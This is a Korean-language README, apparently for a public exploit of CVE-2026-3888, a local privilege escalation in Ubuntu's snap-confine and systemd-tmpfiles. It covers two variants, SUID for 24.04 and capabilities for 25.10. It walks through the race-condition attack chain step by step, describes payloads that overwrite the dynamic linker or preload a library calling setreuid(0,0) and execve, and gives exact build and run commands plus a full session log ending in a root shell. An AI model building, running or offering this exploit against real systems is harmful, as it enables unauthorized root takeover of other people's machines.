
로컬 권한 상승 익스플로잇으로, Ubuntu의 snap-confine 및 systemd-tmpfiles를 대상으로 하는 CVE-2026-3888을 공격하며, 루트 액세스를 달성하기 위한 SUID 및 capabilities 변형을 제공합니다.
Ubuntu Desktop 24.04+에서 snap-confine과 systemd-tmpfiles 사이의 TOCTOU 경쟁 조건을 악용하여 권한 없는 사용자에서 전체 root로 로컬 권한 상승을 수행합니다. SUID 및 Capabilities 두 가지 변형이 제공됩니다.
CVSS: 7.8 (High) | Advisory: Qualys | 패치: snapd 2.74.2, 2026년 3월 17일
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, 등) |
| 대상 snap | firefox | snap-store |
| 모방 대상 | /usr/lib/x86_64-linux-gnu (~285개 항목) | /var/lib (~17개 항목) |
| 익스플로잇 벡터 | ld-linux-x86-64.so.2를 셸코드로 덮어쓰기 | user-fstab + ld.so.preload 제어 |
| 페이로드 형식 | 원시 syscall이 포함된 정적 ELF | __attribute__((constructor))가 포함된 공유 라이브러리 |
| Root 트리거 | SUID snap-confine이 오염된 동적 링커 로드 | /tmp/.snap의 SUID su가 .so 프리로드 |
| cgroup 요구 사항 | 모든 snap.* 이름 | 정확히 일치: snap.snap-store.hook.configure |
.snap 정리 | 30일 | 10일 |
| 샌드박스 탈출 | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles가 /tmp 아래의 오래된 .snap 모방 디렉터리를 삭제합니다 (30일 기간 만료)snap-confine을 단일 단계로 실행하여 모방 바인드 마운트 시퀀스 중 경쟁 조건을 안정적으로 승리합니다ld-linux-x86-64.so.2가 setreuid(0,0) + execve를 호출하는 셸코드로 교체됩니다snap-confine을 실행하면 root 권한으로 셸코드가 트리거됩니다/var/snap/firefox/common/에 배치되어 샌드박스를 탈출합니다| 파일 | 설명 |
|---|---|
exploit_suid.c | 통합 단일 바이너리 익스플로잇 — fork 기반 오케스트레이터의 7단계 전체 |
librootshell_suid.c | 페이로드 — 원시 x86_64 syscall을 통해 ld-linux-x86-64.so.2를 대체하는 최소 ELF |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
둘 다 x86_64 Linux에서 컴파일(또는 크로스 컴파일)되어야 합니다. exploit은 정적으로 링크되므로 라이브러리 의존성 없이 snap 샌드박스 내부에서 실행됩니다. librootshell.so는 libc 없이 원시 syscall만 포함하므로 -nostdlib를 사용합니다.
./exploit <librootshell.so> [-d] [-s]
| 플래그 | 설명 |
|---|---|
-d | snap-confine 디버그 출력 표시 (자세한 모드) |
-s | .snap 정리 대기 건너뛰기 (root 비밀번호 필요) |
# 일반 실행
./exploit ./librootshell.so
# 디버그 모드
./exploit ./librootshell.so -d
# 실패 후 재시도
./exploit ./librootshell.so -s
익스플로잇은 샌드박스에 진입하여 systemd-tmpfiles가 .snap을 삭제할 때까지 기다린 후(기본 Ubuntu 25.10에서는 최대 10일, 기본 Ubuntu 24.04에서는 최대 30일), 경쟁 조건을 자동으로 실행합니다. 성공 시 root 셸로 전환됩니다.
snap-confine이 SUID-root여야 함 (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer 활성화busybox 사용 가능 (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Firefox 샌드박스 진입 중...
[+] 내부 셸 PID: 3122
[Phase 2] .snap 삭제 대기 중...
[*] 폴링 (기본 Ubuntu에서는 최대 30일).
[*] 힌트: 건너뛰려면 -s 사용.
[+] .snap 삭제됨.
[Phase 3] 캐시된 마운트 네임스페이스 파괴 중...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] 네임스페이스 파괴됨.
[Phase 4] 경쟁 조건 설정 및 실행 중...
[*] 작업 디렉터리: /proc/3122/cwd
[*] .snap 및 .exchange 구축 중...
[*] 교환 디렉터리에 285개 항목 복사됨
[*] 경쟁 조건 시작 중...
[*] snap-confine 모니터링 (자식 PID 3543)...
[!] 트리거 — 디렉터리 교체 중...
[+] 교체 완료 — 경쟁 조건 승리!
[*] 네임스페이스의 ld-linux: user:user 755
[+] 오염된 네임스페이스 PID: 3543
[Phase 5] 오염된 네임스페이스에 페이로드 주입 중...
[+] ld-linux 소유자 uid 1000 (공격자). 경쟁 조건 확인됨.
[*] busybox 설치 중...
[*] 탈출 스크립트 작성 → /tmp/sh
[*] ld-linux-x86-64.so.2 덮어쓰기 중...
[+] 페이로드 주입됨.
[Phase 6] SUID snap-confine을 통한 root 트리거 중...
[*] snap-confine → snap-confine (SUID 트리거)
[*] 종료 상태: 0
[Phase 7] 검증 중...
[+] SUID root bash: /var/snap/firefox/common/bash (모드 4755)
[*] 백그라운드 프로세스 정리 중...
================================================================
ROOT 셸: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles가 /tmp 아래의 오래된 .snap 모방 디렉터리를 삭제합니다snap-confine을 단일 단계로 실행하여 /var/lib 모방 바인드 마운트 시퀀스 중 경쟁 조건을 안정적으로 승리합니다/var/lib/snapd/mount/snap.snap-store.user-fstab을 제어합니다user-fstab 항목이 오염된 /etc(ld.so.preload 포함)를 샌드박스에 바인드 마운트합니다/tmp/.snap에서 SUID-root su 바이너리를 실행하면 setreuid(0,0) + execve("/tmp/sh")를 호출하는 librootshell.so가 프리로드됩니다/var/snap/snap-store/common/에 배치되어 샌드박스를 탈출합니다| 파일 | 설명 |
|---|---|
exploit_caps.c | 통합 단일 바이너리 익스플로잇 — fork 기반 오케스트레이터의 7단계 전체 |
librootshell_caps.c | 페이로드 — setreuid(0,0) + execve를 호출하는 생성자가 포함된 공유 라이브러리 |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
둘 다 x86_64 Linux에서 컴파일(또는 크로스 컴파일)되어야 합니다. exploit은 정적으로 링크되므로 라이브러리 의존성 없이 snap 샌드박스 내부에서 실행됩니다. librootshell.so는 -nostartfiles와 __attribute__((constructor))를 사용합니다 — 대상 바이너리의 main() 이전에 ld.so.preload를 통해 로드됩니다.
./exploit <librootshell.so> [-d] [-s]
| 플래그 | 설명 |
|---|---|
-d | snap-confine 디버그 출력 표시 (자세한 모드) |
-s | .snap 정리 대기 건너뛰기 (.snap이 이미 삭제된 경우 사용) |
# 일반 실행
./exploit ./librootshell.so
# 디버그 모드
./exploit ./librootshell.so -d
# 대기 건너뛰기 (재시도)
./exploit ./librootshell.so -s
익스플로잇은 샌드박스에 진입하여 systemd-tmpfiles가 .snap을 삭제할 때까지 기다린 후(기본 Ubuntu 25.10에서는 최대 10일, 기본 Ubuntu 24.04에서는 최대 30일), 경쟁 조건을 자동으로 실행합니다. 성공 시 root 셸로 전환됩니다.